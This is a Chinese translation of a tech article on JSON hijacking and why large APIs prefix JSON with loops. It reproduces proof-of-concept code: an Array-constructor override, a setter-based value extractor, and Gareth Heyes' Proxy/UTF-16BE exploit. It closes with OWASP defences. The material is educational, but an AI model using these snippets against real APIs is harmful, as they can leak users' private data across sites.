2天时间,聊今年最热的 Agent、上下文工程、AI 产品创新等话题。2025 年最后一场~ 了解详情
写点什么

你知道为什么 Facebook 的 API 以一个循环作为开头吗?

  • 2018-11-26
  • 本文字数:2417 字

    阅读完需:约 8 分钟

你知道为什么Facebook的API以一个循环作为开头吗?

如果你有在浏览器中查看过发给大公司 API 的请求,你可能会注意到,JSON 前面会有一些奇怪的 JavaScript:



为什么他们会用这几个字节来让 JSON 失效?

为了保护你的数据

如果没有这些字节,那么有可能任何网站都可以访问这些数据。


这个漏洞被称为JSON劫持,也就是网站可以从这些 API 中提取 JSON 数据。

起源

在 JavaScript 1.5 及更早版本中,可以覆盖原始类型对象的构造函数,并使用括号调用覆盖的版本。


你可以这样:


function Array(){    alert('You created an array!');}var x = [1,2,3];
复制代码


这样就会弹出 alert!


使用以下脚本替换 var x,攻击者就可以阅读你的电子邮件!


这是通过在加载外部脚本之前覆盖 Array 构造函数来实现的。


<script src="https://gmail.com/messages"></script>
复制代码

数据提取

即使你重载了构造函数,仍然可以通过 this 来访问它。


这是一个代码片段,它将 alert 数组的所有数据:


function Array() {  var that = this;  var index = 0;  // Populating the array with setters, which dump the value when called  var valueExtractor = function(value) {    // Alert the value    alert(value);    // Set the next index to use this method as well    that.__defineSetter__(index.toString(),valueExtractor );    index++;  };  // Set the setter for item 0  that.__defineSetter__(index.toString(),valueExtractor );  index++;}
复制代码


在创建数组后,它们的值将被 alert 出来!


ECMAScript 4 提案中已修复了这个问题,我们现在无法再覆盖大多数原始类型的原型,例如 Object 和 Array。


尽管 ES4 从未发布,但主要浏览器在发现后很快就修复了这个漏洞。


在今天的 JavaScript 中,你仍然可以使用类似的行为,但它受限于你创建的变量,或者不使用括号创建的对象。


这是之前的一个修订版本:


// Making an arrayconst x = [];
// Making the overriden methodsx.copy = [];const extractor = (v) => { // Keeping the value in a different array x.copy.push(v); // Setting the extractor for the next value const currentIndex = x.copy.length; x.__defineSetter__(currentIndex, extractor); x.__defineGetter__(currentIndex, ()=>x.copy[currentIndex]); // Logging the value console.log('Extracted value', v);};
// Assigning the setter on index 0 x.__defineSetter__(0, extractor);x.__defineGetter__(0, ()=>x.copy[0]);
// Using the array as usual
x[0] = 'zero';x[1] = 'one';
console.log(x[0]);console.log(x[1]);
复制代码


这是一个使用 Array 关键字创建数组的版本:


function Array(){    console.log(arguments);}
Array("secret","values");
复制代码


如你所见,你添加到数组中的数据被记录下来,但功能保持不变!


修复方案并没有阻止使用 Array 来创建数组,而是在使用括号创建对象时强制使用原生实现,而不是自定义函数。


这意味着我们仍然可以创建一个 Array 函数,但不能与方括号([1,2,3])一起使用。


如果我们使用 x = new Array(1,2,3)或 x = Array(1,2,3),它仍将被调用,但不会给 JSON 劫持留下可趁之机。

新的变体

我们知道旧版本的浏览器很容易受到这个漏洞的攻击,那么现在呢?


随着最近 EcmaScript 6 的发布,添加了很多新功能,例如 Proxies!


来自 Portswigger 的 Gareth Heyes 在博客上介绍了这个漏洞的新变体,它仍然允许我们从 JSON 端点窃取数据!


通过使用 Proxies(而不是 Accessor),我们可以窃取到任意创建的变量,无论它的名称是什么。


它可以像 Accessor 一样,但可以访问任意可访问或写入属性。


使用这个和另外一个技巧,就可以再次窃取数据!


UTF-16BE 是一个多字节字符集,一个字符由两个字节组成。例如,如果你的脚本以[“作为开头,它将被视为字符 0x5b22 而不是 0x5b 0x22。0x5b22 恰好是一个有效的 JavaScript 变量=)。


使用这个脚本:


<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
复制代码


通过使用这个脚本中的一些受控数据和移位脚本,我们就可以再次渗透数据!


这是 Gareth 最后的 POC,摘自他的博文:


<!doctype HTML><script>Object.setPrototypeOf(__proto__,new Proxy(__proto__,{    has:function(target,name){        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));    }}));</script><script charset="UTF-16BE" src="external-script-with-array-literal"></script><!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->
复制代码


我不会深入解释这个方法,而是建议你阅读他的帖子,以获取更多信息。

预防

这是 OWASP 的官方建议


  • 使用 CSRF 保护,如果不存在安全标头或 csrf 令牌,就不返回数据,以防止被利用。

  • 始终将 JSON 作为对象返回。


最后的解决方案很有趣。


在 Firefox 和 IE 中,这个是有效的:


x = [{"key":"value"}]x = {"key":"value"}[{"key":"value"}]{key: "value"}
复制代码


但这样不行:


{"key":"value"}
复制代码


它之所以无效是因为 Firefox 和 IE 认为括号是块语句的开头,而不是创建对象。


没有引号的符号{key:“value”}被视为标签,值被视为一个语句。

结论

虽然这些东西在今天可能是无效的,但我们永远不会知道明天将会带来什么新的错误,因此我们仍应尽力阻止 API 被利用。


如果我们把这个StackOverflow答案视为理所当然,我们就很容易受到现代变体的影响,因此仍然可能被黑客入侵。


谷歌和 Facebook 在 JSON 数据之前添加无效的 JavaScript 或无限循环,OWASP 也列出了其他替代方案。

英文原文

https://dev.to/antogarand/why-facebooks-api-starts-with-a-for-loop-1eob

活动推荐


12 月 7 日北京 ArchSummit 全球架构师峰会上,来自 Google、Netflix、BAT、滴滴、美团 等公司技术讲师齐聚一堂,共同分享“微服务、金融技术、前端黑科技、智能运维等相关经验与实践。详情点击 https://bj2018.archsummit.com/schedule


2018-11-26 14:433577
用户头像

发布了 731 篇内容, 共 484.2 次阅读, 收获喜欢 2008 次。

关注

评论 1 条评论

发布
暂无评论
发现更多内容

实践GoF的23种设计模式:观察者模式

华为云开发者联盟

Web 设计模式 开发 GoF

大型仿人机器人整机构型研究与应用

优必选科技

机器人

超越 Nginx!号称下一代 Web 服务器,用起来够优雅

冉然学Java

Java nginx GitHub 服务器 Web、

DevSecOps,让速度和安全兼顾

飞算JavaAI开发助手

带你熟悉云网络的“电话簿”:DNS

华为云开发者联盟

云计算 后端 IP DNS 局域网

一文详解 Redis 中 BigKey、HotKey 的发现与处理

冉然学Java

Java redis 微服务 bigkey HotKey

如何通过ETL调度工具 TASKCTL 使用作业插件类型调用 kettle作业?

敏捷调度TASKCTL

数据仓库 kettle ETL #运维 TASKCTL

1对1直播源码——1对1语音聊天源码

开源直播系统源码

直播系统源码 语音聊天系统软件开发 一对一语音聊天软件

担心 GitHub?那就试试极狐GitLab 吧

极狐GitLab

git GitHub 开源 DevOps gitlab

大咖说·图书分享 | 精益产品开发:原则、方法与实施

大咖说

产品开发 落地方法

AOP切入点表达式及五种通知类型解析

王小凡

10 万字节Spring Boot +redis详细面试笔记(带完整目录)免费分享

程序员啊叶

Java 编程 程序员 架构 java面试

Plato Farm有望通过Elephant Swap,进一步向外拓展生态

小哈区块

什么是传输层协议TCP/UDP???

C++后台开发

TCP 网络协议 udp 后端开发 C/C++开发

使用python玩转文字类视频

技能实验室

签约计划第三季

智能家居行业发展,密切关注边缘计算和小程序容器技术

Speedoooo

智能设备 边缘计算 智能家居 小程序容器

BSN IPFS(星际文件系统)专网简介、功能、架构及特性、接入说明

BSN研习社

BSN 分布式存储,

我们被一个 kong 的性能 bug 折腾了一个通宵

尔达Erda

程序员 运维 云原生 性能 bug

共议公共数据开放,“数牍方案”亮相数字中国建设峰会

Jessica@数牍

隐私计算 数牍科技 公共数据开放

万字长文,浅谈企业数字化建模蓝图

产品老高

数字化 中台架构

最新战报:十项认证,五项最佳实践

天翼云开发者社区

云计算 分布式云

一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持

网络安全 经验分享 签约计划第三季

聚力打造四个“高地”,携手合作伙伴共铸国云!

天翼云开发者社区

云计算 云平台

兆骑科创高端人才项目引进落地,双创大赛承办,线上直播路演

兆骑科创凤阁

双创大赛承办

Java 将OFD转换为PDF

在下毛毛雨

Java PDF OFD 格式转换

天翼云Web应用防火墙(边缘云版)支持检测和拦截Apache Spark shell命令注入漏洞

天翼云开发者社区

Shell 防火墙

@千行百业,一起乘云而上!

天翼云开发者社区

云计算 云平台

敏捷开发与DevOps的对比

码界行者

DevOps 敏捷

你知道为什么Facebook的API以一个循环作为开头吗?_编程语言_Antony Garand_InfoQ精选文章